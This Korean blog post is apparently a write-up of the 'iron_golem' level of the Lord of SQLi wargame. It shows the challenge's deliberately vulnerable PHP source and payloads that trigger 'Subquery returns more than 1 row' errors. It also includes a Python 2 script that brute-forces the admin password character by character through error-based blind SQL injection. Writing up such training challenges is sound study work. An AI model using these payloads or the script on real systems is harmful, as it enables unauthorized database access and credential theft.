반응형

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>
cs

if(mysqli_error($db)) exit(mysqli_error($db));

 

결과는 안알려주는데 에러 발생하면 에러를 내뿜고 종료하는 구문이 있다.

이를 통해 Error Based SQL Injection 임을 알 수 있다.

 

 

 

 

 

 

 

pw=' or if(length(pw)=1,1,(select 1 union select 2))%23

 

으로 보내주면 조건 length(pw)=1 이 참이면 1을 반환하고, 거짓이면 select 1 union select 2를 반환하여 오류를 내뿜게 할 수 있다.

 

 

 

 

 

 

 

 

 

pw=%27%20or%20if(length(pw)=32,1,(select%201%20union%20select%202))%23

 

pw의 길이는 32이다.

 

 

 

 

저번처럼 유니코드일지도 모르니까 한 자리의 길이도 구했다.

pw=%27%20or%20if(length(substr(pw,1,1))=1,1,(select%201%20union%20select%202))%23

 

 

다행이 1이다.

 

 

 

소스 짜서 돌리자.

 

Subquery returns more than 1 row 가 나오지 않는 것을 찾으면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(32):
    for j in range(len(string)):
        payload = "' or if(substring(pw,"+str(i+1)+",1)='"+string[j]+"',1,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if not "Subquery returns more than 1 row" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형

+ Recent posts